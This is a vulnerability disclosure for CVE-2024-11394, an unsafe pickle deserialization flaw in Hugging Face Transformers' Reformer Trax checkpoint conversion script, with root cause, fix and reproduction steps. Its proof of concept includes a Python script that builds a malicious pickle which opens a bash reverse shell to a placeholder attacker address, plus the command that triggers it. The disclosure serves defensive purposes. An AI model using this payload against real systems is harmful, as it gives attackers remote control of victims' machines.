CVE-2024-11394

Hugging Face Transformers Trax Model Deserialization of Untrusted Data Remote Code Execution Vulnerability

High-level overview and effects of the vulnerability:
The vulnerability allows an attacker to execute arbitrary code on the host machine by supplying a malicious reformer trax checkpoint file to the convert_reformer_trax_checkpoint_to_pytorch.py script in the Hugging Face Transformers repository.
If an unsuspecting user uses a third-party reformer trax checkpoint file, executing the convert_reformer_trax_checkpoint_to_pytorch.py script will lead to remote code execution (RCE) on the victim's system.

The Vulnerable Product

• Product: Hugging Face Transformers
• Module: Reformer
• File: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
• Version: Latest
• GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

Root Cause Analysis

• Detailed description of the vulnerability: The vulnerability results from unsafe deserialization of untrusted data. The script uses pickle.load to load the checkpoint file and is vulnerable to code execution.

• Code flow from input to the vulnerable condition:

1. The user downloads a third-party reformer trax model.
2. The user runs the convert_reformer_trax_checkpoint_to_pytorch.py script and passes the checkpoint file to it.
3. The convert_reformer_trax_checkpoint_to_pytorch.py script deserializes the checkpoint file and executes the malicious code.

• Injection point: The vulnerability occurs at the point where pickle.load is called.
  GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

• Suggested fixes: Replace pickle.load with yaml.safe_load(yaml_file) or json.load to prevent the execution of arbitrary code.

• Instructions executing the proof-of-concept:

1. Run exploit.py to create a malicious pickle file malicious.pkl that will create a reverse shell on the victim’s system:

# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

Note: Change the ATTACKER_IP and ATTACKER_PORT before sending the file to the victim.

2. Create a config.json configuration file:

{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }

3. Run the convert_reformer_trax_checkpoint_to_pytorch.py script and pass the malicious.pkl file to --trax_model_pkl_path:

> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

Note: The pytorch_dump_folder_path can be set as any directory.

Software Download Link:
https://github.com/huggingface/transformers/tree/main